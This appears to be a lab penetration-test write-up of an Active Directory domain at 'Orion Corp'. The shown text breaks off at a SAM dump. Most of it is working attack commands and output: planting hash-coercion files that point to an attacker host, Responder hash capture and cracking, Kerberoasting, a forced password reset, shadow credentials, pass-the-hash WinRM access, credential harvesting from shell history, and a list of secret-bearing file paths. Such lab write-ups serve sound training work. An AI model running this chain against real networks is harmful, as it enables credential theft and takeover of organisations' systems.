Orion Writeup

Orion Corp has hired you to perform an internal penetration test against two machines within their network. Your task is to identify all vulnerabilities and (if possible) elevate your privileges to Domain Admin.

Rust Scan 10.0.0.5 (DC01.orion.local)

rustscan -a 10.0.0.5 -- -sV -sC -Pn

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-10-17 11:28:03Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: orion.local, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
81 collapsed lines
| Not valid before: 2026-10-03T16:27:30
| Not valid after:  2027-10-03T16:27:30
| MD5:     4a14 7363 1a5a 86ec ed24 876c feeb 6666
| SHA-1:   13c6 0c15 90e5 144a 9274 fc8c 7bc4 b1d2 8fbc 5f45
| SHA-256: 0ef1 1b2f 5005 fd57 fd68 8352 55de a90f ceec 2915 bb9f 2670 0fe6 8d8b f5d3 980b
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: orion.local, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after:  2027-10-03T16:27:30
| MD5:     4a14 7363 1a5a 86ec ed24 876c feeb 6666
| SHA-1:   13c6 0c15 90e5 144a 9274 fc8c 7bc4 b1d2 8fbc 5f45
| SHA-256: 0ef1 1b2f 5005 fd57 fd68 8352 55de a90f ceec 2915 bb9f 2670 0fe6 8d8b f5d3 980b
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: orion.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after:  2027-10-03T16:27:30
| MD5:     4a14 7363 1a5a 86ec ed24 876c feeb 6666
| SHA-1:   13c6 0c15 90e5 144a 9274 fc8c 7bc4 b1d2 8fbc 5f45
| SHA-256: 0ef1 1b2f 5005 fd57 fd68 8352 55de a90f ceec 2915 bb9f 2670 0fe6 8d8b f5d3 980b
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: orion.local, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after:  2027-10-03T16:27:30
| MD5:     4a14 7363 1a5a 86ec ed24 876c feeb 6666
| SHA-1:   13c6 0c15 90e5 144a 9274 fc8c 7bc4 b1d2 8fbc 5f45
| SHA-256: 0ef1 1b2f 5005 fd57 fd68 8352 55de a90f ceec 2915 bb9f 2670 0fe6 8d8b f5d3 980b
3389/tcp  open  ms-wbt-server syn-ack ttl 127
| ssl-cert: Subject: commonName=DC01.orion.local
| Issuer: commonName=DC01.orion.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-02T15:11:15
| Not valid after:  2027-04-03T15:11:15
| MD5:     9d39 8b55 1e05 1f19 e69d b919 3911 c884
| SHA-1:   20e9 65f8 6898 b42d 5c56 7903 9eb9 6508 317e 60d0
| SHA-256: 468f 41fd a1ef 7857 a684 9375 ccf7 dd21 9e97 04e8 ba12 76b6 e666 1400 27ff c502
| rdp-ntlm-info:
|   Target_Name: ORION
|   NetBIOS_Domain_Name: ORION
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: orion.local
|   DNS_Computer_Name: DC01.orion.local
|   Product_Version: 10.0.26100
|_  System_Time: 2026-10-17T11:29:00+00:00
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49693/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49719/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49737/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49843/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Rust Scan 10.0.0.6 (WS-IT.orion.local)

rustscan -a 10.0.0.6 -- -sV -sC -Pn

PORT      STATE SERVICE       REASON          VERSION
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=WS-IT.orion.local
| Issuer: commonName=WS-IT.orion.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-02T15:45:35
| Not valid after:  2027-04-03T15:45:35
| MD5:     2f8c a10b 70b8 4159 3b01 2152 a10f 704d
| SHA-1:   75cf 5319 f457 7e6e 88be f34d d063 ecbf 742e a31f
| SHA-256: a91b 9c34 70b5 71dd bb7e 229d 6f9f 017f b3de d13a ecda 10a3 b587 3706 cde2 1a21
| rdp-ntlm-info:
|   Target_Name: ORION
|   NetBIOS_Domain_Name: ORION
|   NetBIOS_Computer_Name: WS-IT
|   DNS_Domain_Name: orion.local
|   DNS_Computer_Name: WS-IT.orion.local
|   DNS_Tree_Name: orion.local
|   Product_Version: 10.0.26100
|_  System_Time: 2026-10-17T11:29:01+00:00
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Adding to `/etc/hosts`

└─$ echo -e "10.0.0.5  DC01.orion.local orion.local DC01\n10.0.0.6  WS-IT.orion.local WS-IT" | sudo tee -a /etc/hosts
10.0.0.5  DC01.orion.local orion.local DC01
10.0.0.6  WS-IT.orion.local WS-IT

SMB (445)

10.0.0.5 (DC01.orion.local)

└─$ nxc smb 10.0.0.5 -u 'guest' -p '' --shares
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [-] orion.local\guest: STATUS_ACCOUNT_DISABLED

Nothing.

10.0.0.6 (WS-IT.orion.local)

└─$ nxc smb WS-IT.orion.local -u 'guest' -p '' --shares
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\guest:
SMB         10.0.0.6        445    WS-IT            [*] Enumerated shares
SMB         10.0.0.6        445    WS-IT            Share           Permissions            Remark
SMB         10.0.0.6        445    WS-IT            -----           -----------            ------
SMB         10.0.0.6        445    WS-IT            ADMIN$                                 Remote Admin
SMB         10.0.0.6        445    WS-IT            C$                                     Default share
SMB         10.0.0.6        445    WS-IT            Company                                Company documents - all staff
SMB         10.0.0.6        445    WS-IT            IPC$            READ                   Remote IPC
SMB         10.0.0.6        445    WS-IT            IT                                     IT admins only
SMB         10.0.0.6        445    WS-IT            Uploads         READ,WRITE             Public Upload Share

└─$ smbclient //10.0.0.6/Uploads -U 'guest%' -c 'get README.txt'
getting file \README.txt of size 509 as README.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)

┌──(kali㉿kali)-[~/Desktop/ntlm_theft/doc]
└─$ cat README.txt
Orion Corp - Public Upload Share
=================================

This share is provided for staff to drop files for the IT department
(scanned documents, logs, screenshots, driver files, etc.).

GUIDELINES
----------
- Files placed here are collected and processed by IT daily.
- Do NOT store sensitive or personal data in this folder.
- Files older than 30 days are automatically removed.
- For urgent requests, contact the helpdesk: helpdesk@orion.local

Thank you,
Orion Corp IT Operations

└─$ nxc smb WS-IT.orion.local -u 'guest' -p '' -M slinky -o NAME=important SERVER=192.168.211.2

SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\guest:
SMB         10.0.0.6        445    WS-IT            [*] Enumerated shares
SMB         10.0.0.6        445    WS-IT            Share           Permissions            Remark
SMB         10.0.0.6        445    WS-IT            -----           -----------            ------
SMB         10.0.0.6        445    WS-IT            ADMIN$                                 Remote Admin
SMB         10.0.0.6        445    WS-IT            C$                                     Default share
SMB         10.0.0.6        445    WS-IT            Company                                Company documents - all staff
SMB         10.0.0.6        445    WS-IT            IPC$            READ                   Remote IPC
SMB         10.0.0.6        445    WS-IT            IT                                     IT admins only
SMB         10.0.0.6        445    WS-IT            Uploads         READ,WRITE             Public Upload Share
SLINKY      10.0.0.6        445    WS-IT            [+] Found writable share: Uploads
SLINKY      10.0.0.6        445    WS-IT            [+] Created LNK file on the Uploads share

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb WS-IT.orion.local -u 'guest' -p '' -M drop-library-ms -o NAME=aa SERVER=192.168.211.2
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\guest:
SMB         10.0.0.6        445    WS-IT            [*] Enumerated shares
SMB         10.0.0.6        445    WS-IT            Share           Permissions            Remark
SMB         10.0.0.6        445    WS-IT            -----           -----------            ------
SMB         10.0.0.6        445    WS-IT            ADMIN$                                 Remote Admin
SMB         10.0.0.6        445    WS-IT            C$                                     Default share
SMB         10.0.0.6        445    WS-IT            Company                                Company documents - all staff
SMB         10.0.0.6        445    WS-IT            IPC$            READ                   Remote IPC
SMB         10.0.0.6        445    WS-IT            IT                                     IT admins only
SMB         10.0.0.6        445    WS-IT            Uploads         READ,WRITE             Public Upload Share
DROP-LIB... 10.0.0.6        445    WS-IT            [+] Found writable share : Uploads
DROP-LIB... 10.0.0.6        445    WS-IT            [+] Created .library-ms file on share 'Uploads'

└─$ nxc smb WS-IT.orion.local -u 'guest' -p '' -M drop-sc -o NAME=aa SERVER=192.168.211.2
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\guest:
SMB         10.0.0.6        445    WS-IT            [*] Enumerated shares
SMB         10.0.0.6        445    WS-IT            Share           Permissions            Remark
SMB         10.0.0.6        445    WS-IT            -----           -----------            ------
SMB         10.0.0.6        445    WS-IT            ADMIN$                                 Remote Admin
SMB         10.0.0.6        445    WS-IT            C$                                     Default share
SMB         10.0.0.6        445    WS-IT            Company                                Company documents - all staff
SMB         10.0.0.6        445    WS-IT            IPC$            READ                   Remote IPC
SMB         10.0.0.6        445    WS-IT            IT                                     IT admins only
SMB         10.0.0.6        445    WS-IT            Uploads         READ,WRITE             Public Upload Share
DROP-SC     10.0.0.6        445    WS-IT            [+] Found writable share: Uploads
DROP-SC     10.0.0.6        445    WS-IT            [+] [OPSEC] Created Documents.searchConnector-ms file on the Uploads share

Capture `b.williams`

└─$ sudo responder -I tun0 -v
[sudo] password for kali:
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.0.0.6
[SMB] NTLMv2-SSP Username : ORION\b.williams
[SMB] NTLMv2-SSP Hash     : b.williams::ORION:d953feffe044f8a1:F4B97378A6D57940D86BBD3B24D08108:0101000000000000800A729D0F5EDD01957763404BD3EAC800000000020008004D0057004A00370001001E00570049004E002D0057003700470037005A00350044004100440045004B0004003400570049004E002D0057003700470037005A00350044004100440045004B002E004D0057004A0037002E004C004F00430041004C00030014004D0057004A0037002E004C004F00430041004C00050014004D0057004A0037002E004C004F00430041004C0007000800800A729D0F5EDD0106000400020000000800300030000000000000000000000000200000AA3EADEC059DABEE53FFD0A20321DD978B732B72AAE121B9D7CB298D84A03B8B0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003200310031002E0032000000000000000000

┌──(kali㉿kali)-[~/Desktop]
└─$ john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt bwilliams.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
williams123      (b.williams)
1g 0:00:00:00 DONE (2026-10-17 08:16) 9.090g/s 2643Kp/s 2643Kc/s 2643KC/s winers..temyong
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Compromised `b.williams`

b.williams : williams123

Keeping Enumeartion

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb 10.0.0.5 -u 'b.williams' -p 'williams123'
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [+] orion.local\b.williams:williams123

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb 10.0.0.6 -u 'b.williams' -p 'williams123'
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\b.williams:williams123

└─$ smbclient //10.0.0.6/Company -U 'orion.local/b.williams%williams123'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Oct  3 16:10:44 2026
  ..                                  D        0  Sat Oct  3 15:59:18 2026
  Holiday_Schedule_2026.pdf           A     3303  Sat Oct  3 16:00:19 2026
  Orion_Corp_Company_Profile.pdf      A  1133880  Sat Oct  3 16:11:06 2026
  Shipping_Rates_2026.pdf             A     3422  Sat Oct  3 16:00:42 2026

                20839419 blocks of size 4096. 13418157 blocks available
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *
getting file \Holiday_Schedule_2026.pdf of size 3303 as Holiday_Schedule_2026.pdf (4.7 KiloBytes/sec) (average 4.7 KiloBytes/sec)
getting file \Orion_Corp_Company_Profile.pdf of size 1133880 as Orion_Corp_Company_Profile.pdf (650.2 KiloBytes/sec) (average 465.2 KiloBytes/sec)
getting file \Shipping_Rates_2026.pdf of size 3422 as Shipping_Rates_2026.pdf (5.9 KiloBytes/sec) (average 377.5 KiloBytes/sec)

Nothing.

└─$ nxc ldap 10.0.0.5 -u 'b.williams' -p 'williams123' --users
LDAP        10.0.0.5        389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local) (signing:Enforced) (channel binding:When Supported)
LDAP        10.0.0.5        389    DC01             [+] orion.local\b.williams:williams123
LDAP        10.0.0.5        389    DC01             [*] Enumerated 12 domain users: orion.local
LDAP        10.0.0.5        389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.0.0.5        389    DC01             Administrator                 2026-10-05 13:39:12 0        Built-in account for administering the computer/domain
LDAP        10.0.0.5        389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.0.0.5        389    DC01             krbtgt                        2026-10-03 11:11:12 0        Key Distribution Center Service Account
LDAP        10.0.0.5        389    DC01             b.williams                    2026-10-03 12:11:15 0
LDAP        10.0.0.5        389    DC01             j.carter                      2026-10-03 11:21:45 0
LDAP        10.0.0.5        389    DC01             s.mitchell                    2026-10-03 13:51:43 0
LDAP        10.0.0.5        389    DC01             d.brooks                      2026-10-03 11:21:45 0
LDAP        10.0.0.5        389    DC01             m.reeves                      2026-10-03 12:01:04 0
LDAP        10.0.0.5        389    DC01             svc-pki                       2026-10-03 11:33:55 0
LDAP        10.0.0.5        389    DC01             m.white                       2026-10-03 13:49:48 0
LDAP        10.0.0.5        389    DC01             svc-onboarding                2026-10-06 15:30:28 0        HR onboarding automation - creates and resets staff accounts
LDAP        10.0.0.5        389    DC01             d.miller                      2026-10-03 14:00:55 0

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc ldap 10.0.0.5 -u 'b.williams' -p 'williams123' --asreproast asrep.txt
LDAP        10.0.0.5        389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local) (signing:Enforced) (channel binding:When Supported)
LDAP        10.0.0.5        389    DC01             [+] orion.local\b.williams:williams123
LDAP        10.0.0.5        389    DC01             No entries found!

Nothing.

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc ldap 10.0.0.5 -u 'b.williams' -p 'williams123' --kerberoasting kerb.txt
LDAP        10.0.0.5        389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local) (signing:Enforced) (channel binding:When Supported)
LDAP        10.0.0.5        389    DC01             [+] orion.local\b.williams:williams123
LDAP        10.0.0.5        389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.0.0.5        389    DC01             [*] Total of records returned 1
LDAP        10.0.0.5        389    DC01             [*] sAMAccountName: svc-onboarding, memberOf: CN=Helpdesk Operators,OU=Orion,DC=orion,DC=local, pwdLastSet: 2026-10-06 15:30:28.048542, lastLogon: <never>
LDAP        10.0.0.5        389    DC01             $krb5tgs$23$*svc-onboarding$ORION.LOCAL$orion.local\svc-onboarding*$0c44662720e324aeb3315d4e57a545e0$377a2c3f1633a9ffb525ff94618e4e56c79d27f01592725dae9fe77b7cba317a08d44254fd2254244fc286dab6939c21551d62174ae08c0112f254a37a8534bf4082dbb0bc0da91e5c30118f90b67368536f6590dc945e56e4e846204e040383fd329335bf5303d1ca35ad1f17ff48ff0a25005ed54cc5c0bfa7259296ba896b8a657c71379dcace9f2595478a500cc947869e7f58bfc61200bbce6da501497d8c2d335fcbbfd7b1ee643566fe44619adabc4d85562d4d1f42769a7720ea84589f5f6456ebf832e056e8b8a6539c371075f5229d678a767224ec6e6e6c7a63eebd45bf6d400471ec8546c1703e60d854f20247941fa15026984a96c6e57652bf3d1dc1059af65b8b2f85a87bc3373b21759ce634d9f0f2200ede32b46ec4e190151405495439b9a22bcf289813a5271829a76609faae9de9490559421834ae68c76ae81d22b5f0294489656ddefa22c6489aac8a037d0c8d37f64f3596105e5abe1ef7fe2494b0d573b92beb164a1f4f3ec9b27de50dc1cac11f2b0f78e76d46fb9140bd389db29c3786692ab3570cf2bcea6061474b80f072ebc8bd07321702c9cf0d877238dc9f710846255b672214dc1f4a456ad4d84c794690615a11d9bdc99bf3bf344fe36f96f485033a04424e72d5c4e8d6be2f343d6061557c7993d0dcdfbce6b71401493dc582b5db663c0e4e75f4122692f444d3e377665f327cd64f8df8ed05207b0d3b593e604ab6e19f6ddf5b1cd26fecd01d621066ae71f6c91c039e8ae83cdcf0707712c14291ffe1f188e53cfa7b6dd5c2442cbe6a057f9861494563b707205cb2af6c9cfaed64de7e0acec81bb6123a463fe2024c4b0ec38cef001cc118d7f5f6b1c1f229000c1206ed5ae06f38371b410867f6098578892393395dbd6cd7b1deacf977633225bc3a05f76e4fde9ac22cbddc7d7ebd7428f19613453283536b4ddf6c61ed740a30a2f26e32bbd200145c1d8e8b1ad53674201ce397db7bf479edeb49c38d00afc53e560951bfb8c62f9a7ad71ff48b1297524af2df0bba9e6020d3600b88c821c77c755a7d7fdac3c11ed8066ed77020f6a898c3468cc60c71b183bea40acc060e5fb80592696af0c664fbd7d2990edf111a45c227929fc08defad6c6b6475e408dab24d5c2720b94ab74f9020a2e60280cd8678101c13fc850300440889f952727f58d272c633932a251ece76ffde83c7f46d8712aa2b65c62e1e8c0ff900f3d38d9adbbe61d1fc3ef000124debcc084751a35a8ce94d41d3b26f258ba8318fb67698354b8eb847956457aa2642909e2e369be9b0a248ce36d67e5b9bae000d5f2747253a3cc5209a1bc865ff6f85559245e8c3b28acba8e56e77374ede1d7d5afeca714aa30e24a5b810a91e5633c87c20b5c42cf10d3a25140129b709bd5ad2d4967fb1ebc48741dd2b535f3c35789023d196b30949b0825bffe48b7df9c341af71cfdb2bd4

└─$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerb.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password2510     (?)
1g 0:00:00:00 DONE (2026-10-17 08:22) 1.818g/s 2560Kp/s 2560Kc/s 2560KC/s patito4667983..passporty
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Compromised `svc-onboarding`

svc-onboarding : password2510

Keeping Enumeration

└─$ nxc smb 10.0.0.5 -u 'svc-onboarding' -p 'password2510'
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [+] orion.local\svc-onboarding:password2510

┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb 10.0.0.6 -u 'svc-onboarding' -p 'password2510'
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\svc-onboarding:password2510

Blood Hound

┌──(kali㉿kali)-[~/Desktop]
└─$ bloodhound-python -d orion.local -u svc-onboarding -p 'password2510' -ns 10.0.0.5 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: orion.local
INFO: Getting TGT for user
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 13 users
INFO: Found 60 groups
INFO: Found 2 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WS-IT.orion.local
INFO: Querying computer: DC01.orion.local
INFO: Done in 00M 34S
INFO: Compressing output into 20261017082310_bloodhound.zip

Screenshot

svc-onboarding
  → MemberOf → HELPDESKOPS
    → ForceChangePassword → s.mitchell
        → MemberOf → HELPDESKOPS-TIER2
            → GenericWrite → m.white → MemberOf → WS-IT-REMOTEACCESS
            → GenericWrite → d.miller

The executable chain

Reset `s.mitchell` :

net rpc password 's.mitchell' 'Newpass123!' -U 'orion.local/svc-onboarding%password2510' -S 10.0.0.5

└─$ nxc smb 10.0.0.5 -u 's.mitchell' -p 'Newpass123!'
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [+] orion.local\s.mitchell:Newpass123!

Abuse GenericWrite on m.white → Shadow Credentials

└─$ certipy shadow auto -u 's.mitchell@orion.local' -p 'Newpass123!' -account 'm.white' -dc-ip 10.0.0.5
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'm.white'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'f2ec4f861cfe4fb9baf2b71ddbd3f619'
[*] Adding Key Credential with device ID 'f2ec4f861cfe4fb9baf2b71ddbd3f619' to the Key Credentials for 'm.white'
[*] Successfully added Key Credential with device ID 'f2ec4f861cfe4fb9baf2b71ddbd3f619' to the Key Credentials for 'm.white'
[*] Authenticating as 'm.white' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'm.white@orion.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'm.white.ccache'
[*] Wrote credential cache to 'm.white.ccache'
[*] Trying to retrieve NT hash for 'm.white'
[*] Restoring the old Key Credentials for 'm.white'
[*] Successfully restored the old Key Credentials for 'm.white'
[*] NT hash for 'm.white': 1b4f4e8d871ad063ffded46cc620bbf6

└─$ nxc winrm 10.0.0.6 -u 'm.white' -H '1b4f4e8d871ad063ffded46cc620bbf6'
WINRM       10.0.0.6        5985   WS-IT            [*] Windows 11 / Server 2025 Build 26100 (name:WS-IT) (domain:orion.local)
WINRM       10.0.0.6        5985   WS-IT            [+] orion.local\m.white:1b4f4e8d871ad063ffded46cc620bbf6 (Pwn3d!)

Win-RM as `m.white`

└─$ evil-winrm -i 10.0.0.6 -u m.white -H '1b4f4e8d871ad063ffded46cc620bbf6'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\m.white\Documents>

Valuable locations/files on a Windows box, grouped by payoff

Location	What’s there
`C:\Users\*\Desktop`, `Documents`, `Downloads`	flags, notes, scripts, creds
`C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`	typed passwords in PS history
`C:\Windows\Panther\Unattend.xml`, `sysprep.xml`	deployment passwords
`C:\inetpub\wwwroot\web.config`	DB/connection strings
`C:\Users\*\.aws\credentials`, `.azure`, `.ssh`	cloud/SSH keys
`.kdbx` (KeePass), `.ps1`, `.bat`, `.config`, `.xml`, `.ini`	hardcoded creds
`C:\ProgramData\` (app subfolders)	service configs with creds

Compromised `m.reeves`

*Evil-WinRM* PS C:\Users\m.white\Documents> cat C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-Process
Get-ChildItem C:\Shares
cd C:\Shares\IT
dir
ipconfig /all
Test-Connection DC01
$cred = New-Object System.Management.Automation.PSCredential('ORION\m.reeves', (ConvertTo-SecureString 'Pa$$word!123' -AsPlainText -Force))
Invoke-Command -ComputerName WS-IT -Credential $cred -ScriptBlock { whoami }
net use Z: \\WS-IT\IT /user:ORION\m.reeves Pa$$word!123
Get-EventLog -LogName System -Newest 10
cls
exit

m.reeves : Pa$$word!123

└─$ nxc smb 10.0.0.6 -u 'm.reeves' -p 'Pa$$word!123'
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\m.reeves:Pa$$word!123 (Pwn3d!)

┌──(kali㉿kali)-[~/tools/peass]
└─$ nxc smb 10.0.0.5 -u 'm.reeves' -p 'Pa$$word!123'
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [+] orion.local\m.reeves:Pa$$word!123

(Pwn3d!) on WS-IT - m.reeves is local admin on the workstation. That’s the local-admin foothold

└─$ nxc smb 10.0.0.6 -u 'm.reeves' -p 'Pa$$word!123' --sam --lsa --dpapi
SMB         10.0.0.6        445    WS-IT            [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:False)
SMB         10.0.0.6        445    WS-IT            [+] orion.local\m.reeves:Pa$$word!123 (Pwn3d!)
SMB         10.0.0.6        445    WS-IT            [*] Dumping SAM hashes
